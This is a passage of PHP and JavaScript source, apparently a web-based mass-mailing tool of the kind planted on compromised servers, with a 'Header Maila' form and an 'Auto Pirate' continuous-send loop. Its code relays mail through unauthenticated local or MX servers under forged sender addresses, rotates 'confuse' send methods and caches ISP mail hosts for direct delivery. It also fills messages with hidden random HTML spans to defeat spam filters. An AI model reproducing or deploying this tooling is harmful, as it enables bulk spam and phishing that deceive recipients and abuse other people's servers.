(preg_match("/.*mail exchanger = (.*)/", $line, $matches)) { $s_xo=explode(' ', $matches[1]); $mxhosts[] = $s_xo[1]; $mxweight[] = $s_xo[0]; } } return $mxhosts; } function enabled_fun($func) { $disabled = explode(',', ini_get('disable_functions')); return !in_array($func, $disabled); } function getmxrrr($domain){ global $lineMXr; if (is_array($lineMXr) && !empty($lineMXr)) { return $lineMXr; } $mxCache = array(); $mxCache['adelphia.net'] = array('dnvrco-cmedge02.email.rr.com','dnvrco-cmedge01.email.rr.com'); $mxCache['att.biz'] = array('mx2c45.carrierzone.com','mx1c45.carrierzone.com','mx4c45.carrierzone.com','mx3c45.carrierzone.com'); $mxCache['attinet.com'] = array('mx-110.reflexion.net','mx-100.reflexion.net','asp.reflexion.net'); $mxCache['att.net'] = array('ff-ip4-mx-vip2.prodigy.net','al-ip4-mx-vip2.prodigy.net','ff-ip4-mx-vip1.prodigy.net','al-ip4-mx-vip1.prodigy.net'); $mxCache['bellsouth.net'] = array('ff-ip4-mx-vip2.prodigy.net','al-ip4-mx-vip2.prodigy.net','al-ip4-mx-vip1.prodigy.net','ff-ip4-mx-vip1.prodigy.net'); $mxCache['charter.com'] = array('mail.chartercom.com','nce.mail.chartercom.com'); $mxCache['charterinternet.net'] = array('mail.charterinternet.com'); $mxCache['charter.net'] = array('mx0.charter.net'); $mxCache['comcast.com'] = array('mxa-00143702.gslb.pphosted.com','mxb-00143702.gslb.pphosted.com'); $mxCache['comcast.net'] = array('mx1.comcast.net','mx2.comcast.net'); $mxCache['cox.com'] = array('mxb-002b3901.gslb.pphosted.com','mxa-002b3901.gslb.pphosted.com'); $mxCache['coxinet.com'] = array('mail.h-email.net'); $mxCache['coxinet.net'] = array('mx.coxmail.com'); $mxCache['cox.net'] = array('cxr.mx.a.cloudfilter.net'); $mxCache['cs.com'] = array('mx-aol.mail.gm0.yahoodns.net'); $mxCache['earthlink.com'] = array('mx9.earthlink.net','mx6.earthlink.net','mx7.earthlink.net','mx8.earthlink.net'); $mxCache['earthlink.net'] = array('mx8.earthlink.net','mx7.earthlink.net','mx6.earthlink.net','mx9.earthlink.net'); $mxCache['excite.com'] = array('mail-in-excite.roc2.bluetie.com'); $mxCache['juno.com'] = array('mx.vgs.untd.com','mx.dca.untd.com'); $mxCache['juno.net'] = array('other.juno.com'); $mxCache['netscape.com'] = array('mail.netscape.everyone.net'); $mxCache['netscape.net'] = array('mx-aol.mail.gm0.yahoodns.net'); $mxCache['netzero.com'] = array('mx.dca.untd.com','mx.vgs.untd.com'); $mxCache['netzero.net'] = array('mx.dca.untd.com','mx.vgs.untd.com'); $mxCache['peoplepc.com'] = array('mx6.earthlink.net','mx9.earthlink.net','mx8.earthlink.net','mx7.earthlink.net'); $mxCache['sbcglobal.net'] = array('al-ip4-mx-vip1.prodigy.net','ff-ip4-mx-vip1.prodigy.net','ff-ip4-mx-vip2.prodigy.net','al-ip4-mx-vip2.prodigy.net'); $mxCache['verizon.net'] = array('mx-aol.mail.gm0.yahoodns.net'); $mxCache['worldnet.att'] = array('ff-ip4-mx-vip2.prodigy.net','ff-ip4-mx-vip1.prodigy.net','al-ip4-mx-vip2.prodigy.net','al-ip4-mx-vip1.prodigy.net'); $mxCache['gmail.com'] = array('gmail-smtp-in.l.google.com','alt1.gmail-smtp-in.l.google.com','alt2.gmail-smtp-in.l.google.com','alt3.gmail-smtp-in.l.google.com','alt4.gmail-smtp-in.l.google.com'); if (isset($_SESSION[$domain])) { $mxCache[$domain] = explode(",", $_SESSION[$domain]); } if (isset($mxCache[$domain])) { return $mxCache[$domain]; }else{ if (!enabled_fun('exec')) { getmxr3($domain, $mxr); }else{ getmxrr($domain,$mxr); } $_SESSION[$domain] = implode(",", $mxr); return $mxr; } } function getConnection($recipient=''){ if (isset($_GET['chunk'])) { print "<font color=\"white\"><b>establishing new connection</b></font><br>"; } $smtpServer = isset($_GET['server'])?$_GET['server']:"127.0.0.1"; if (isset($_GET['directsend'])) { list($user, $domain) = explode("@", $recipient); $sttime = microtime(true); $mxRecords = getmxrrr($domain); foreach ($mxRecords as $smtpServer) { $smtpServer = gethostbyname($smtpServer); $smtpServer = isset($_GET['server'])? $_GET['server'] : $smtpServer; $smtpconn = fsockopen ($smtpServer, 25); if ($smtpconn) { return $smtpconn; } } } //echo $smtpServer; $smtpPort = 25; $smtpconn = fsockopen ($smtpServer, $smtpPort); if (!$smtpconn) { //try again $smtpServer = $_SERVER['HTTP_HOST']; $smtpconn = fsockopen ($smtpServer, $smtpPort); if (!$smtpconn) { $smtpPort = 587; $smtpServer = $_SERVER['HTTP_HOST']; $smtpconn = fsockopen ($smtpServer, $smtpPort); if (!$smtpconn) { $smtpServer = isset($_GET['server'])?$_GET['server']:"127.0.0.1"; $smtpconn = fsockopen ($smtpServer, $smtpPort); if (!$smtpconn) { //this will never work so we better quit early. print "555 - couldn't connect!<br>"; //exit(); } } } } //echo $smtpServer; return $smtpconn; } function sayHello($smtpconn,$domhost){ global $smtp_from; $talk = array(); $femail = str_replace("{{hostname}}",$domhost,$smtp_from); list($usa,$domhost) = explode('@',$femail); $talk["banner"] = get_line($smtpconn,true); fputs ($smtpconn, "EHLO ".$domhost."\r\n"); $talk["hello"] = get_line($smtpconn); if (strpos($talk['hello'], 'STARTTLS') && isset($_GET['directsend'])) { } if (strpos($talk['hello'], '250')===false) { fputs($smtpconn, "HELO ".$domhost."\r\n"); $talk["hello"] .= get_line($smtpconn); } return $talk; } function quitConnection($chunk,$smtpconn,$recipient,$talk){ global $count,$counter,$nextTo; if (isset($_GET['debug'])) { print_r($talk); } $reconnectAfter = 49; if (isset($_GET['chunk']) && is_numeric($_GET['chunk'])) { $reconnectAfter = $_GET['chunk']; } $toParts = explode(',', $recipient); $ntoParts = explode(',',$nextTo); list($nuser,$disdom) = explode('@', $toParts[0]); list($ouser,$nexdom) = explode('@', $ntoParts[0]); $stats = implode(" ", $talk); if (preg_match("/=>\s[45][0-9]{2}(-|\s)/", $stats)===true || strlen($stats) < 8) { $errorSending = true; } //echo "$disdom -> $nexdom"; if ($chunk==false) { fputs ($smtpconn, "QUIT\r\n"); fclose($smtpconn); $smtpconn = false; }elseif ($count<=$counter || $counter%$reconnectAfter == 0 || $disdom!=$nexdom || $errorSending == true) { fputs ($smtpconn, "QUIT\r\n"); fclose($smtpconn); $smtpconn = false; } if ($counter%20==0) { //sleep(1); } return $smtpconn; } function mix($from, $to, $messageBody){ if (!isset($_SESSION['meth'])||$_SESSION['meth'] == 'confuse') { $_SESSION['meth'] = 'confuse2'; return sendMail($from, $to, $messageBody); }elseif ($_SESSION['meth'] == 'confuse2') { $_SESSION['meth'] = 'confuse'; return sendMail3($from, $to, $messageBody); } } function get_line($smtpConnection,$partial=false){ $buf = ""; //socket_recv($smtpConnection, $buf, 2048, MSG_WAITALL); //return $buf; //return @fgets($smtpConnection,50); //socket_set_option($smtpConnection, SOL_SOCKET, SO_RCVTIMEO, array('sec'=>0, 'usec'=>200)); while($str = @fgets($smtpConnection)) { $data .= $str; if(substr($str,3,1) == " ") { break; } if(strpos(substr($str,2,6), " ") !== false) { break; } } //socket_recv($smtpConnection, $buf, 2048, MSG_WAITALL); return $data; } function sendMail ($from, $to, $messageBody){ global $count,$counter,$SMTPIN,$SMTPINhold,$smtp_from; if ($counter%10==0) { $SMTPINhold = fsockopen ($smtpServer, $smtpPort); } $ehloHost = isset($_SERVER['SERVER_ADDR'])?gethostbyaddr($_SERVER['SERVER_ADDR']):gethostbyaddr($_SERVER['LOCAL_ADDR']); if ($SMTPIN===false||!$SMTPIN) { $SMTPIN = getConnection($to); $talk = sayHello($SMTPIN, $ehloHost); }else{ //using previous conn fputs ($SMTPIN, "RSET\r\n"); $talk['reset'] = get_line($SMTPIN, true); } if ($SMTPIN){ $sfrom = $smtp_from; $sfrom = str_replace('{{hostname}}', $ehloHost, $smtp_from); $username = generateRandomAlphaNumericString(8); fputs ($SMTPIN, "MAIL FROM: <$sfrom>\r\n"); fputs ($SMTPIN, "RCPT TO: <".$to.">\r\n"); fputs($SMTPIN, "DATA\r\n"); fputs($SMTPIN, $messageBody."\r\n.\r\n"); } //need a new connection so close this one. fputs ($SMTPIN, "QUIT\r\n"); fclose($SMTPIN); $SMTPIN = false; if (isset($_GET['debug'])) { print_r($talk); } return $talk; } function sendMail2 ($from, $to, $messageBody){ global $count,$counter,$SMTPIN,$smtp_from; $chunk = false; if (isset($_GET['chunk'])) { $chunk = true; } $ehloHost = isset($_SERVER['SERVER_ADDR'])?gethostbyaddr($_SERVER['SERVER_ADDR']):gethostbyaddr($_SERVER['LOCAL_ADDR']); if (!$SMTPIN) { $SMTPIN = getConnection($to); $talk = sayHello($SMTPIN, $ehloHost); }else{ //using previous conn fputs ($SMTPIN, "RSET\r\n"); } if ($SMTPIN){ $username = generateRandomAlphaNumericString(8); $sfrom = $smtp_from; $sfrom = str_replace('{{hostname}}', $ehloHost, $smtp_from); fputs ($SMTPIN, "MAIL FROM:<$sfrom>\r\n"); $talk["From"] = get_line($SMTPIN, true); fputs ($SMTPIN, "RCPT TO: <".$to.">\r\n"); $talk["To"] = get_line($SMTPIN, true); fputs($SMTPIN, "DATA\r\n"); $talk["data"] = get_line($SMTPIN, true); fputs($SMTPIN, $messageBody."\r\n.\r\n"); $talk["send"] = get_line($SMTPIN, true); } //need a new connection so close this one. $SMTPIN = quitConnection($chunk,$SMTPIN,$to,$talk); return $talk; } function sendMail3 ($from, $to, $messageBody){ global $count,$counter,$SMTPIN,$smtp_from; $chunk = false; $ehloHost = isset($_SERVER['SERVER_ADDR'])?gethostbyaddr($_SERVER['SERVER_ADDR']):gethostbyaddr($_SERVER['LOCAL_ADDR']); if (isset($_GET['chunk'])) { $chunk = true; } if (!$SMTPIN) { $SMTPIN = getConnection($to); $talk = sayHello($SMTPIN, $ehloHost); }else{ //using previous conn fputs ($SMTPIN, "RSET\r\n"); } if ($SMTPIN){ $username = generateRandomAlphaNumericString(8); $sfrom = $smtp_from; $sfrom = str_replace('{{hostname}}', $ehloHost, $smtp_from); fputs ($SMTPIN, "MAIL FROM:<$sfrom>\r\n"); $talk["From"] = get_line($SMTPIN); fputs ($SMTPIN, "RCPT TO: <".$to.">\r\n"); $talk["To"] = get_line($SMTPIN); fputs($SMTPIN, "DATA\r\n"); $talk["data"]=get_line($SMTPIN); fputs($SMTPIN, $messageBody."\r\n.\r\n"); $talk["send"]=get_line($SMTPIN); } //need a new connection so close this one. $SMTPIN = quitConnection($chunk,$SMTPIN,$to,$talk); return $talk; } function sendMail4 ($from, $to, $messageBody){ global $count,$counter,$SMTPIN,$smtp_from; $chunk = false; $ehloHost = isset($_SERVER['SERVER_ADDR'])?gethostbyaddr($_SERVER['SERVER_ADDR']):gethostbyaddr($_SERVER['LOCAL_ADDR']); if (isset($_GET['chunk'])) { $chunk = true; } if ($SMTPIN===false||!$SMTPIN) { $SMTPIN = getConnection($to); $talk = sayHello($SMTPIN, $ehloHost); }else{ //using previous conn fputs ($SMTPIN, "RSET\r\n"); $talk['reset'] = get_line($SMTPIN, true); } if ($SMTPIN){ $username = generateRandomAlphaNumericString(8); $sfrom = $smtp_from; $sfrom = str_replace('{{hostname}}', $ehloHost, $smtp_from); fputs ($SMTPIN, "MAIL FROM:<$sfrom>\r\n"); $talk["From"] = get_line($SMTPIN, true); fputs ($SMTPIN, "RCPT TO: <".$to.">\r\n"); $talk["To"] = get_line($SMTPIN, true); fputs($SMTPIN, "DATA\r\n"); $talk["data"]=get_line($SMTPIN, true); fputs($SMTPIN, $messageBody."\r\n.\r\n"); $talk["send"]=get_line($SMTPIN, true); } //need a new connection so close this one. $SMTPIN = quitConnection($chunk,$SMTPIN,$to,$talk); return $talk; } function errorOccured($status){ $responseCode = substr($status, 0, 1); //print substr($status, 0, 3); $errorCodes = array("4","5"); if (in_array($responseCode, $errorCodes)) { return true; } return false; } function processResult($smtpObject, $emailListLine){ global $count,$counter,$SMTPIN,$smtp_from,$errorCount,$skipDomain; $strstatus = "=> ".implode("=> ",array_values($smtpObject->talk)); $status = preg_match("/=>\s[45][0-9]{2}(-|\s)/", $strstatus); if (isset($_GET['debug'])) { print_r($smtpObject->talk); } if ($status==0|| $status===false) { $_SESSION['counta'] = (integer) $_SESSION['counta'] + 1; echo !empty($_POST) ? "<font color=\"green\" >$smtpObject->index sent to $smtpObject->to</font></br>":''; echo '<script>addToSent("'.$emailListLine.'");top.document.title=".."+document.domain+" => '.$smtpObject->index.' sent to '.$smtpObject->to.'"</script>'; }else{ echo !empty($_POST) ? "<font color=\"green\" > $smtpObject->index</font><font color=\"yellow\"> deferred</font><font color=\"green\" > $smtpObject->to</font></br>":''; echo '<script>addToFailed()</script>'; } echo '<script>count = count + 1;log(count);startChecking=1;</script>'; flush(); ob_flush(); $counter++; } function socketInList($socket, $listOfSockets){ foreach ($listOfSockets as $sock) { if ($sock == $socket) { return true; } } return false; } function sendMail6 ($sendingQueue){ global $count,$counter,$SMTPIN,$smtp_from,$errorCount,$skipDomain; $counter = 1; $talkList = array(); $smtpList = array(); $jobListLines = array(); $concurrencyLevel = isset($_GET["coroutines"])?$_GET["coroutines"]: 10; $j = 1; //echo "lol"; for ($i=0; $i < $concurrencyLevel; $i++) { $job = array_shift($sendingQueue); if (!is_null($job)) { $smtpList[] = new Smtpasync($j, $smtp_from, $job["from"], $job["to"], $job["messageBody"]); $jobListLines[] = $job["emailListLine"]; $j++; }else{ //done leave the loop break; } } $count = $concurrencyLevel; while($count > 0){ //run through jobs till they're in rw mode or they return false $readSockets = array(); $writeSockets = array(); $exceptionSockets = array(); for ($i=0; $i < count($smtpList); $i++) { $running = true; while (!in_array($smtpList[$i]->stage, array("pollRead", "pollWrite")) && $running != false) { $running = $smtpList[$i]->run(); } //for jobs stuck on read mode run them once //only add socket to watch lists if job is still running if ($running == true && in_array($smtpList[$i]->stage, array("pollRead", "pollWrite"))) { $exceptionSockets[] = $smtpList[$i]->socket; if ($smtpList[$i]->stage == "pollRead") { $readSockets[] = $smtpList[$i]->socket; }elseif($smtpList[$i]->stage == "pollWrite"){ $writeSockets[] = $smtpList[$i]->socket; } } } //run socket select and wait for a socket event to happen $sec = NULL; $usec = 0; $numChangedSockets = socket_select($readSockets, $writeSockets, $exceptionSockets, $sec, $usec); //work on changed sockets if (!is_bool($numChangedSockets) && $numChangedSockets >0) { //loop through jobs and call appropriate one foreach ($smtpList as $smtpObject) { if (socketInList($smtpObject->socket, $readSockets)) { //run object until we leave the reading stage while ($smtpObject->stage=="pollRead") { $running = $smtpObject->run(); } } //check write socket if (socketInList($smtpObject->socket, $writeSockets)) { //run object until we leave the writing stage while ($smtpObject->stage=="pollWrite") { $running = $smtpObject->run(); } } //check exception socket if (socketInList($smtpObject->socket, $exceptionSockets)) { //echo "exception <-($smtpObject->index.) $running $smtpObject->stage $smtpObject->subStage"; $smtpObject->talk["error"] = "error occurred during $smtpObject->stage at $smtpObject->nextStage substage: $smtpObject->subStage<br>"; $smtpObject->stage = "quit"; echo "errrror occured"; $running = $smtpObject->run(); } } } for ($i=0; $i < count($smtpList); $i++) { $running = $smtpList[$i]->run(); if (!is_null($running) && $running==false) { processResult($smtpList[$i], $jobListLines[$i]); //try to start any pending jobs $job = array_shift($sendingQueue); if (!is_null($job)) { $smtpList[$i] = new Smtpasync($j, $smtp_from, $job["from"], $job["to"], $job["messageBody"]); //$running = $smtpList[$i]->run(); $jobListLines[$i] = $job["emailListLine"]; $j++; }else{ //unset($smtpList[$i]); array_splice($smtpList, $i, 1); array_splice($jobListLines, $i, 1); $count--; } } } } } function sendMail5 ($from, $to, $messageBody){ global $count,$counter,$SMTPIN,$smtp_from,$errorCount,$skipDomain; //echo "<br>pipipipipipip"; $chunk = false; $ehloHost = isset($_SERVER['SERVER_ADDR'])?gethostbyaddr($_SERVER['SERVER_ADDR']):gethostbyaddr($_SERVER['LOCAL_ADDR']); list($u, $d) = explode('@', $to); $lastFiveErrorCount = array_slice($errorCount, -5); if (count(array_unique($lastFiveErrorCount))==1 && count($lastFiveErrorCount)==5) { $skipDomain[] = $d; } if (in_array($d, $skipDomain)) { $talk = array('599-having issues with that smtp server'); return $talk; } if (isset($_GET['chunk'])) { $chunk = true; } if ($SMTPIN===false||!$SMTPIN) { $SMTPIN = getConnection($to); $sttime2 = microtime(true); $diff = $sttime2 - $sttime; //echo "$diff $sttime2 $sttime<br>"; $talk = sayHello($SMTPIN, $ehloHost); if(errorOccured($talk['banner'])==true){ $SMTPIN = quitConnection($chunk,$SMTPIN,$to,$talk); $SMTPIN = false; $errorCount[] = $d; return $talk; } }else{ //using previous conn // fputs ($SMTPIN, "RSET\r\n"); // $talk['reset'] = get_line($SMTPIN, true); } if ($SMTPIN){ $username = generateRandomAlphaNumericString(8); $sfrom = $smtp_from; $sfrom = str_replace('{{hostname}}', $ehloHost, $smtp_from); //print $sfrom; fputs ($SMTPIN, "MAIL FROM:<$sfrom>\r\n"); $talk["From"] = get_line($SMTPIN, true); if(errorOccured($talk['From'])==true){ $SMTPIN = quitConnection($chunk,$SMTPIN,$to,$talk); $SMTPIN = false; $errorCount[] = $d; return $talk; } fputs ($SMTPIN, "RCPT TO: <".$to.">\r\n"); $talk["To"] = get_line($SMTPIN, true); if(errorOccured($talk["To"])==true){ $SMTPIN = quitConnection($chunk,$SMTPIN,$to,$talk); $SMTPIN = false; return $talk; } fputs($SMTPIN, "DATA\r\n"); $talk["data"]=get_line($SMTPIN, true); if(errorOccured($talk["data"])==true){ $SMTPIN = quitConnection($chunk,$SMTPIN,$to,$talk); $SMTPIN = false; return $talk; } fputs($SMTPIN, $messageBody."\r\n.\r\n"); $talk["send"]=get_line($SMTPIN, true); if(errorOccured($talk["send"])==true){ $SMTPIN = quitConnection($chunk,$SMTPIN,$to,$talk); $SMTPIN = false; return $talk; } } //need a new connection so close this one. $SMTPIN = quitConnection($chunk,$SMTPIN,$to,$talk); return $talk; } function get_data($url) { if (function_exists('curl_version')) { $ch = curl_init(); $timeout = 5; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $data = curl_exec($ch); curl_close($ch); }else{ $data = file_get_contents($url); } return $data; } function fuzzLinePart($linePart){ global $idsList; if (preg_match("/^[\s\t\n\r]+$/", $linePart)==1) { return $linePart; } $insertInterval = array(2, 3, 4); $randLength = range(10,43); $i = array_rand($randLength); $j = array_rand($idsList); $k = array_rand($insertInterval); $hideHtmlCode = '<span id="'.$idsList[$j].'">'.generateRandomAlphaNumericString($randLength[$i]).'</span>'; $nuLinePart = implode($hideHtmlCode, str_split($linePart, $insertInterval[$k])).$hideHtmlCode; return $nuLinePart; } function fuzzLine($line){ $line = urldecode($line[0]); //keep a list of html entities preg_match_all("/&[a-zA-Z0-9]{2,8};/", $line, $entities); $lineParts = preg_split("/&[a-zA-Z0-9]{2,8};/", $line); $finalLine = ""; //print_r($entities); for ($i=0; $i < count($entities[0]); $i++) { $finalLine .= fuzzLinePart($lineParts[$i]).$entities[0][$i]; } $finalLine .= fuzzLinePart(end($lineParts)); return $finalLine; } function fuzzMessage($message){ global $idsList; if (isset($_GET['nofuzz'])) { return $message; } $idsList = array(generateRandomAlphaNumericString(4),generateRandomAlphaNumericString(6),generateRandomAlphaNumericString(2)); $ids = "#".implode(", #", $idsList); $cssBody = " <style> $ids{ color: transparent; display: none; height: 0; max-height: 0; max-width: 0; opacity: 0; overflow: hidden; mso-hide: all; visibility: hidden; width: 0; } </style> "; $message = preg_replace_callback("/(?<=>)[^<>]+/", "fuzzLine", $message); if (stripos($message, "</head>")!==false) { $pos = stripos($message, "</head>"); $message = substr_replace($message, $cssBody, $pos, 0); }elseif(stripos($message, "<body>")!==false){ $pos = stripos($message, "<body>"); $message = substr_replace($message, $cssBody, $pos, 0); }elseif(stripos($message, "<html>")!==false){ $pos = stripos($message, "<html>"); $message = substr_replace($message, $cssBody, $pos+6, 0); }else{ $message = $cssBody.$message; } return $message; } function generateRandomAlphaNumericString($length = 10) { $characters = '0123456789abcdefghijklmnopqrstuvwxyz'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } function generateRandomNumericString($length = 10) { $characters = '0123456789'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } function myMail($from, $to, $thisSubject, $messageBody){ global $ehloHost; if ($_POST['noAuthSmtp']=="yes") { if (isset($_GET['mix'])) { $statuses = mix($from, $to, $messageBody); }elseif (isset($_GET['confuse'])) { $statuses = sendMail($from, $to, $messageBody); //$statuses = sendMail($from, $to, $messageBody); }elseif(isset($_GET['confuse2'])){ $statuses = sendMail3($from, $to, $messageBody); }elseif(isset($_GET['confuse3'])){ $statuses = sendMail4($from, $to, $messageBody); }elseif(isset($_GET['directsend'])){ //fork this call,print status and exit child accordingly //echo "lollololololol"; $statuses = sendMail6($from, $to, $messageBody); }else{ $statuses = sendMail2($from, $to, $messageBody); } $strstatus = "=> ".implode("=> ",array_values($statuses)); $status = preg_match("/=>\s[45][0-9]{2}(-|\s)/", $strstatus); if ($status==0|| $status===false) { return true; } return false; } $sfrom = "$username@$ehloHost"; if (isset($_POST['smtp_from_email']) && strlen($_POST['smtp_from_email']) > 3) { $sfrom = $_POST['smtp_from_email']; } $firstNL = strpos($messageBody, "\r\n\r\n"); $thisExtraHeaders = substr($messageBody, 0, $firstNL+2); $thisMessage = substr($messageBody, $firstNL+4); if (mail($to, $thisSubject, $thisMessage, $thisExtraHeaders/*, "-f<$sfrom>"*/)) { return true; } if (isset($_GET['debug']) && function_exists('error_get_last')) { print_r(error_get_last()); } return false; //check if the noauth smtp method is set, then us noauth smtp trick instead } function isIp($string){ $parts = explode(".", $string); if (count($parts)!=4) { return false; } foreach ($parts as $part) { if (!is_numeric($part)) { return false; } } return true; } if (isset($_GET['mode9'])) { ?> <title> Header Maila </title> <style> body, input, textarea{ background-color: #000000; color: #e1e1e1; } body{ overflow-x:hidden; } </style> <body onload="worker()"> <center> <form method="post" id="ship" action=""> <input type="text" name="smtp_from_email" size="45" value="" placeholder="Smtp From Email" style="height: 2.5em;"><br> <br> <input type="text" name="from_name" size="45" value="" placeholder="From Name" style="height: 2.5em;"><br> <input type="text" name="from_email" size="45" value="" placeholder="From Email" style="height: 2.5em;"><br> <input type="text" name="reply_to" size="45" value="" placeholder="Reply To Email" style="height: 2.5em;"><br> <input type="text" name="subject" size="45" value="" placeholder="Subject" style="height: 2.5em;"><br> <input type="text" id="fields" name="fields" size="45" value="" placeholder="Fields" style="height: 2.5em;"><br> <input type="text" id="testemail" name="testemail" size="45" value="" placeholder="Test Emails Comma Separated" style="height: 2.5em;"><br> Email List<br> <textarea id="maillist" name="maillist" cols="45" rows="15"></textarea><br> Message Code<br> <textarea name="msg" cols="65" rows="15"></textarea> <br> <strong>Use No Auth Smtp Trick? </strong> [[[No<sub><input type="radio" id="no" name="noAuthSmtp" value="no"></sub>]]] [[[ Yes<sub><input type="radio" id="yes" name="noAuthSmtp" value="yes"></sub>]]] <br> <input type="hidden" name="message"> <input type="hidden" id="list" name="list"> <input type="submit" name="Send" value="Send Message" onClick="return autoPirate('once')"> </form> <script type="text/javascript"> try{ top.frameLoadedAct(); setTimeout(function() {startChecking=1;}, 2000); }catch(e){} window.addEventListener('scroll',checkPosition,false); function log(what){ if (typeof localStorage.silence!= 'undefined' && localStorage.silence != 'yes' ) { console.log(what); } } function checkPosition() { if (true) {return;} // #theid or #theclass or standard element selector var xNAV = document.querySelector("#topnav"); if(window.scrollY > 30) { xNAV.classList.add("scrolling"); } else { //xNAV.classList.remove("scrolling"); } } function byName(name){return document.getElementsByName(name)[0];} function byId(id){return document.getElementById(id);} function glue(){ testemailInput = document.getElementById('testemail').value; fieldsInput = document.getElementById('fields').value; maillistInput = document.getElementById('maillist').value; document.getElementById('list').value = fieldsInput +"\n"+maillistInput+"\n"+testemailInput; byName('message').value = btoa(byName('msg').value); //console.log(document.getElementById('message').value, byName('msg').value); } function prefill(){ inputs = ['smtp_from_email','from_name','from_email','reply_to','subject','fields','testemail','msg']; if (typeof localStorage.mailerObject != 'undefined') { mailerObject = JSON.parse(localStorage.mailerObject); for (var i = 0; i < inputs.length; i++) { byName(inputs[i]).value = mailerObject[inputs[i]]; } if (mailerObject['noAuthSmtp']=="yes") {byId('yes').checked='checked';}else{byId('no').checked='checked';} }else{ byId('no').checked = 'checked'; } } prefill(); </script> <a href="javascript:void(0)" onclick="return autoPirate('continuous')">[[::Auto Pirate::]]</a> <a href="javascript:void()" onclick="exportMailerObject()">[[::Export::]]</a><br><a href="javascript:window.stop()" >XX::STOP::XX</a><br> <br> <strong> <div id="topnav" class="topnavigation scrolling"><font color="yellow">STATS:</font><br /> <font color="green">SENT MAILS: <span id="sent">0</span></font><br /> <font color="green">NUMBER OF RELOADS: <span id="reloads">0</span></font> </div> </strong> <style> .topnavigation { position:static; } .topnavigation.scrolling { position:fixed; top:30px; } </style> <script type="text/javascript"> if (typeof localStorage.numMailFailed!='undefined') { document.getElementById('sent').innerHTML = localStorage.numMailSent; document.getElementById('reloads').innerHTML = localStorage.numberOfReloads; } count = 0; //needed by count checker during sending. function exportMailerObject() { alert(JSON.stringify(mailerObject)); } function increment(link) { parts = link.split(','); start = parts[1]; stop = parts[2]; nustart = parseInt(parts[1]) + 1; if (nustart < parseInt(stop)) { parts[1] = nustart; return parts.join(','); }else{ return false; } } function addToSent(line){ //lets remove it from last sent batch. if (typeof localStorage.lastBatch != 'undefined') { localStorage.lastBatch = localStorage.lastBatch.replace(line+"\n",''); localStorage.lastBatch = localStorage.lastBatch.replace(line,''); } localStorage.numMailSent = parseInt(localStorage.numMailSent) + 1; document.getElementById('sent').innerHTML = localStorage.numMailSent; } function addToFailed(){ localStorage.numMailFailed = parseInt(localStorage.numMailFailed) + 1; } function submitForm (){ log(this.caller); window.stop(); document.getElementById('ship').submit(); //only do this if we're in auto pirate mode. initMailerObject(); if (mailerObject.maillist.length > 0) { log("resubmitting form"); setTimeout(function() {submitForm()}, 120000); } } function initMailerObject(){ if (typeof mailerObject == 'undefined') { mailerObject = JSON.parse(localStorage.mailerObject); } } function autoPirate(what){ localStorage.numberOfReloads = 0; if(what=="once"){ perSend = byName('maillist').value.split("\n").length; }else{ perSend = prompt('how many emails to send each time?',500); perSend = parseInt(perSend); } inputs = ['smtp_from_email','from_name','from_email','reply_to','subject','fields','testemail','msg']; mailerObject = {}; for (var i = 0; i < inputs.length; i++) { mailerObject[inputs[i]] = byName(inputs[i]).value; } maillist = byName('maillist').value.split("\n"); localStorage.total = maillist.length; keepFirstItem = maillist[0]; thisMaillist = maillist.splice(0, perSend); //mails to send now if (what!='once') { localStorage.lastBatch = thisMaillist.join("\n"); }else{ localStorage.lastBatch = ''; } firstLetters = keepFirstItem.substr(0,7); if (firstLetters=='http://' || firstLetters=='https:/') { nulink = increment(keepFirstItem); mailerObject.maillist = (typeof(nulink)=="string") ? [nulink]:[]; }else{ mailerObject.maillist = maillist; //remaining emails } if(byId('yes').checked){mailerObject.noAuthSmtp = "yes";}else{mailerObject.noAuthSmtp = "no";} mailerObject.perSend = perSend; //store mailerObject localStorage.mailerObject = JSON.stringify(mailerObject); localStorage.perSend = perSend; byName('maillist').value = thisMaillist.join("\n"); glue(); localStorage.numMailSent = 0; localStorage.numMailFailed = 0; submitForm(); return false; } function pirate(){ log(this.caller); //requeue any left over automatically anytime this function was called. requeue(); //check to see if there is some emails to be sent. inputs = ['smtp_from_email','from_name','from_email','reply_to','subject','fields','testemail','msg']; if (typeof localStorage.mailerObject != 'undefined') { inputs = ['smtp_from_email','from_name','from_email','reply_to','subject','fields','testemail','msg']; mailerObject = JSON.parse(localStorage.mailerObject); for (var i = 0; i < inputs.length; i++) { mailerObject[inputs[i]] = byName(inputs[i]).value; } if (mailerObject.maillist.length > 0) { //if maillist is small send a message requesting for more. if (mailerObject.maillist.length<200) { try{ parent.loadMails(); }catch(e){} } //maillist will be pulled from mailerObject. keepFirstItem = mailerObject.maillist[0]; thisMaillist = mailerObject.maillist.splice(0, parseInt(localStorage.perSend)).join("\n"); byName('maillist').value = thisMaillist; localStorage.lastBatch = thisMaillist; firstLetters = keepFirstItem.substr(0,7); if (firstLetters=='http://' || firstLetters=='https:/') { nulink = increment(keepFirstItem); mailerObject.maillist = (typeof(nulink)=="string") ? [nulink]:[]; } localStorage.mailerObject = JSON.stringify(mailerObject); //alert('sending'); glue(); submitForm(); //document.getElementById('ship').submit(); } } } function requeue(){ if (typeof localStorage.lastBatch!='undefined') { if (location.href.indexOf('directsend')!=-1) { localStorage.lastBatch = ''; } lastBatch = localStorage.lastBatch.match(/[^\n\r]+/g); initMailerObject(); if (lastBatch!=null) { mailerObject.maillist = mailerObject.maillist.concat(lastBatch); //need to save object just in case something goes wrong //and there was no chance to write it back. localStorage.mailerObject = JSON.stringify(mailerObject); } localStorage.lastBatch = ''; } } function sendingTimer(){ //mailobject.maillist check means any last leftover in lastbatch //will not be sent if maillist is empty. need to correct that. if(typeof startChecking != 'undefined' && typeof mailerObject != "undefined" && (mailerObject.maillist.length > 0 || localStorage.lastBatch.length > 0)){ window.scrollTo(0,0); //before pirate is called in, we should move //unsent in last batch back into the queue log('time up! resending'); window.stop(); pirate(); }else{ setTimeout(function() {sendingTimer()}, 240000); } } function worker(){ if(typeof startChecking != 'undefined' && document.readyState=="complete" && typeof mailerObject != "undefined" && (mailerObject.maillist.length > 0 || localStorage.lastBatch.length > 0)){ window.scrollTo(0,0); //before pirate is called in, we should 